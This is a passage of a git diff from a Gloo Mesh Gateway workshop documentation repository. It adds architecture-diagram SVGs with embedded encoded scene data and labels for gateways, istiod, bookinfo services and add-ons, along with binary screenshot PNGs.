1U6eW76iVx1MDAxMWRcdTAwMTFusvO0MFx1MDAxNeU0dpTCn4tcdTAwMTFj6Vx1MDAwMqZcdTAwMDCz2yRuzo/fV5RtK1x1MDAxNKyeYUbMNJhcdTAwMTfYpM1cbu+klCndxfmsU1x1MDAwMjee+S8t24Kp+9fdXHUwMDA1ut6ebFx1MDAwYj5z0FpcInOsXHUwMDFiPW4tvCluTGVcdTAwMWLnXHUwMDA22oNcItWgNVx1MDAxNMJcdTAwMWXZZqpcdTAwMTdcdTAwMDGCk1x1MDAxYyEldlNcdTAwMTlcdTAwMWEzZlx1MDAwMfTjQoJcdISR8olXNlx1MDAwNFx1MDAwMvDRlEiC/XeWd/gt2jSeRVx1MDAxYTpm+K+UbO3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUmXHUwMDAwIIFAXHUwMDAzy1xuTCxcdTAwMTMyRKhv1XtcdTAwMDHWXHUwMDEwXHUwMDAxQMFBjaN1q96vUq1cdTAwMWHpmSvX9OE14TN+tVx1MDAxZTVQXHUwMDFj59SUVVx1MDAwMrIk3kl9JcmWXGIkbnN5yHpFyVx1MDAxNpqVXHUwMDFlUvZemio5plRSZOGWnuCUyFx1MDAxZKN0JjdVzZRdXHUwMDE5JIvPW1x1MDAxNW5bN0tcdTAwMTVcIpbA82uh8lx1MDAxYULGXHUwMDA3Mb/0wsS2U28hSu81R0vEPyVcdTAwMTaE8YNiR/pgnCpEi/fqXe3w6eWuz8qPp/rhot9JTf520vVP77Vccsbd0fJ+lWGX9rj1fWDE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lalx1MDAwYnvWpdXCS0FNRPXGXHUwMDFlNi96veJ9u1x1MDAxNG1cXFx1MDAwZrfuuvmas6qsJ9BcdTAwMDZcdTAwMDGQ0zL6KWv49se0YYBCMlxcM2iLbEszbKN1LiZcdTAwMWNcdTAwMTHJmeOLfYPea47S+Yd35/90XHUwMDA2dv/NWfT2XHUwMDEzmucuQT0hxf5hxlx1MDAwN78nvD6Cc8aAeXp7gMFGKVx1MDAxM9FZtdu8eHtq2dUh5o+1XHUwMDE3PqKXk1Lci/5LZjpzzS+5yKnIXHUwMDAyXHUwMDFi4uParI7ddjGcXHUwMDA2TFx1MDAwZnaOI80xTlx1MDAxOO4pc1+7lfZFuXddXHUwMDFlPp3eTe+H6PlcdTAwMDfDbVx1MDAwYsPtaHm/+bDLoKH/XHUwMDAzI862UX8sJfuvXHUwMDAzXi7Iq0zj6vQ9l7jbXHUwMDAyKTRen991ppt9qvN8hqBMTySmvbhCQ0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxN